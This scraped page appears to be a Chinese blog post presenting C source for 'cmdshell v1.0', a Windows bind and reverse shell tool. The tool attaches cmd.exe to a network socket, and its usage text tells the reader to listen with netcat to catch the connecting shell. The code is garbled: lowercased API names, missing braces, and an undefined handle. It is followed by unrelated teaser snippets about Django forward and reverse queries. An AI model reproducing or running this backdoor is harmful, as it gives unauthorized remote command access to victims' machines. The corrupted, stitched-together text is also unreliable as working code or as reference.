#include
#include
#pragma comment(lib,"ws2_32.lib")
socket locals;
startupinfo si;
process_information pi;
struct sockaddr_in s_sin;
void help(char *cmd)
printf("cmdshell v1.0 ---- made by zwell/n");
printf("/tusage:%s [host] port/n", cmd);
printf("/texample:%s 192.168.0.1 1234/n", cmd);
printf("/t--on the 192.168.10.1 use the cmd:nc -l -p 1234/n");
printf("/texample:%s 1234/n", cmd);
printf("/t--listen on 1234, when you telnet the 1234 port,you'll get the shell./n");
void bindconn(int bindport)
locals = wsasocket(af_inet, sock_stream, 0, null, null, null); //為什麼用socket不行???
s_sin.sin_family = af_inet;
s_sin.sin_port = htons(bindport);
s_sin.sin_addr.s_addr = htonl(inaddr_any);
if(socket_error == bind(locals, (sockaddr *)&s_sin, sizeof(s_sin)))
printf("bind wrong.");
exit(0);
listen(locals, 2);
socket as = accept(locals, null, null);
if(as == invalid_socket)
printf("accept wrong.");
exit(0);
si.hstdinput = si.hstdoutput = si.hstderror = (void *)as;
void getshell(char *host, int port)
int timeout = 3000;
s_sin.sin_family = af_inet;
s_sin.sin_port = htons(port);
s_sin.sin_addr.s_addr = inet_addr(host);
locals = wsasocket(af_inet, sock_stream, 0, null, null, null);
if(locals == invalid_socket)
printf("socket wrong./n");
exit(0);
setsockopt(locals, sol_socket, so_sndtimeo, (char *)&timeout, sizeof(timeout));
setsockopt(locals, sol_socket, so_rcvtimeo, (char *)&timeout, sizeof(timeout));
if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin)))
printf("cann't connect./n");
exit(0);
si.hstdinput = si.hstdoutput = si.hstderror = (void *)locals; //設定為輸入輸出控制代碼為socket
//void z_main(int ar**,char *argc) //主函式名改了,用來指定入口以減少程式大小,可以改回來
void main(int ar**,char *argc) //這裡定義了引數有什麼用?
wsadata wsadata;
if(wsastartup(makeword(1,1),&wsadata)!=0)
printf("wsastartup wrong/n");
exit(0);
memset(&s_sin, 0, sizeof(s_sin));//首先進行記憶體的初始化
memset(&si, 0, sizeof(si)); si.cb = sizeof(si);
si.dwflags = startf_usestdhandles;
if(ar** == 2)
bindconn(atoi(argc[1]));
else if(ar** == 3)
getshell(argc[1],atoi(argc[2]));
else {
help(argc[0]);
exit(0);
createprocess(null, "cmd.exe", null, null, 1, null, null, null, &si, &pi);
zeromemory(&si,sizeof(si));
si.dwflags = startf_useshowwindow|startf_usestdhandles;
//設定為輸入輸出控制代碼為socket
si.hstdinput = si.hstdoutput = si.hstderror = (void *)clientfd;
就是先清零,再設定flag和控制代碼*/
django正反向查詢
django正反向查詢 當我們的表存在外來鍵想要從一找多的時候該怎麼查詢,當我們從多找一的時候又應該怎麼查詢.一找多首先我們要建立乙個專案,在專案的model.py中建立兩個模型.from django.db import models class usertype models.model tit...
正反向 多表查詢
正向 反向外來鍵字段在我手上那麼,我查你就是正向 外來鍵字段如果不在手上,我查你就是反向 book 外來鍵字段在書那兒 正向 publish publish 外來鍵字段在書那兒 反向 book 一對一和多對多正反向的判斷也是如此 正向查詢按欄位 反向查詢按表名小寫 set 1.查詢書籍主鍵為1的出版...
序列化正反向查詢
序列化 正向查詢 from rest framework import serializers from users.models import userinfo 正向查詢 class userinfoserializer serializers.serializer 類名小寫.外來鍵字段 good...